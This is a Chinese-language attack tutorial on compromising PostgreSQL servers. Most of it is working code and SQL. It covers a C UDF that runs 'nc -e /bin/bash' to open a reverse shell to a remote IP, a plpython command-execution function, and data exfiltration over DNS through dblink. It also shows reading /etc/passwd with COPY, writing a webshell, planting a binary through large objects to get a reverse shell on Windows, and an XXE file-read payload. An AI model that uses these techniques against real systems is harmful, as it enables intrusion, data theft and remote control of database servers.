Hacking PostgreSQL--提权

0x01 SQL 注入


大体上和 MySQL 差不多,有一些变量不一样。具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。此外,利用 sqlmap 也是一个不错的方式。

0x02 执行命令


C

sqlmap 给出的几个 UDF 在本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
根据官方文档,我们要定义一个 PG_MODULE_MAGIC。在 PostgreSQL 这个是为了 Postgresql 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

      
  1. ERROR : incompatible library "xxx.so" : missing magic block
  2. HINT : Extension libraries are required to use the PG_MODULE_MAGIC macro .

执行系统命令的动态链接库源码为:

      
  1. #include "postgres.h"
  2. #include "fmgr.h"
  3. #include <stdlib.h>
  4.  
  5. #ifdef PG_MODULE_MAGIC
  6. PG_MODULE_MAGIC ;
  7. #endif
  8.  
  9. text * exec ()
  10. {
  11.     system ( "nc -e /bin/bash 10.211.55.2 9999" );
  12. }
  13. 利用如下

命令编译 .so 文件:

      
  1. gcc 1.c - I ` pg_config -- includedir - server ` - fPIC - shared - o udf . so

在 pgsql 里执行:

      
  1. CREATE OR REPLACE FUNCTION exec ()   RETURNS text AS  '/tmp/1.so' , 'exec' LANGUAGE C STRICT ;
  2. select exec ()

监听的 9999 端口得到一个 shell:

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

      
  1. apt - get install postgresql - plpython - 9.1
进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。

安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

      
  1. CREATE FUNCTION system ( a text )
  2.   RETURNS text
  3. AS $$
  4.    import os
  5.    return os . popen ( a ). read ()
  6. $$ LANGUAGE plpython2u ;

其中的 plpython2u 可以利用如下语句获取:

      
  1. select * from pg_language ;

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。

创建好 UDF 后,直接调用如下语句即可:

      
  1. select system ( 'ls -la' );

此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。

      
  1. 文档地址: http : //www.postgresql.org/docs/8.2/static/server-programming.html

0x03 DNS 请求获取数据


同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做 dblink可以通过如下命令开启:

      
  1. CREATE EXTENSION dblink

接着运行如下语句,获取当前数据库用户名称:
          
  1. SELECT * FROM dblink ( 'host=' ||( select user )|| '.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb' , 'SELECT version()' ) RETURNS ( result TEXT );

远程获取到请求内容:

如果提示
        
  1. exampledb =# create extension dblink ; ERROR : could not open extension control file "/usr/share/postgresql/9.1/extension/dblink.control" : No such file or directory
 则需要 

      
  1. root@kali :~# apt - get install postgresql - contrib - 9.1 postgres@kali :/ root$ psql - d exampledb - c "CREATE EXTENSION dblink" CREATE EXTENSION

0x04 读写文件


PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

      
  1. CREATE TABLE temptable ( t text );
  2. COPY temptable FROM '/etc/passwd' ;
  3. SELECT * FROM temptable limit 1 offset 0 ;
读取结束后:
        
  1. DROP TABLE temptable ;



写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
写 webshell 十分简单,利用:

      
  1. COPY ( select '<?php phpinfo();?>' ) to '/tmp/1.php' ;

即可写一个文件。

根据疯狗的这一篇帖子:http://zone.wooyun.org/content/4971,说是可以利用 PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

      
  1. ERROR :   pg_largeobject entry for OID 2008 , page 0 has invalid data field size 2378

用 COPY 的 FORMAT 位 binary 来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件

实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

      
  1. SELECT lo_create ( 12345 );
  2. INSERT INTO pg_largeobject VALUES ( 12345 , 0 , decode ( '7f454c4...0000' , 'hex' ));
  3. INSERT INTO pg_largeobject VALUES ( 12345 , 1 , decode ( '0000000...0000' , 'hex' ));
  4. INSERT INTO pg_largeobject VALUES ( 12345 , 2 , decode ( 'f604000...0000' , 'hex' ));
  5. INSERT INTO pg_largeobject VALUES ( 12345 , 3 , decode ( '0000000...7400' , 'hex' ));
  6. SELECT lo_export ( 12345 , '/tmp/test.so' );
  7. SELECT lo_unlink ( 12345 );

其中每一段都要小于等于 2KB,这样就可以成功写入:

补充内容:

文件操作 用lo就可以,copy和adminpak都不方便操作。

 读文件:

  1. select lo_create(12345678); 
  2. Select lo_import('c:/windows/system32/cmd.exe',12345678); 
  3. select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=73957 order by pageno)a
去掉逗号花括号,然后winhex里面ctrl+b。 

写文件:

可以用非公开函数lo_open、lo_lseek、lo_write,insert挺蛋疼的。 

例如注入点直接反弹shell: 

  1. select lo_open(OID,x'60000'::int); 
  2. select lo_lseek(0,0,2); 
  3. select lo_write(0,decode('4d5a90000300','hex')); 
  4. Select lo_export(OID,'1.dll'); 
  5. Select lo_unlink(OID); 
  6. Create or replace function test(text,int) returns int as '1.dll','GetResvShell' language c; 
  7. Select test('192.168.1.10',8888);

0x05 XXE


老版本的 PostgreSQL 存在 XXE 漏洞。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day
大体就是执行语句:

      
  1. select xmlparse ( document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>' );

可以获取一些数据,也可以进行 SSRF 等。不过因为年代很久,可能很多都修复过了,所以作为一个保留方案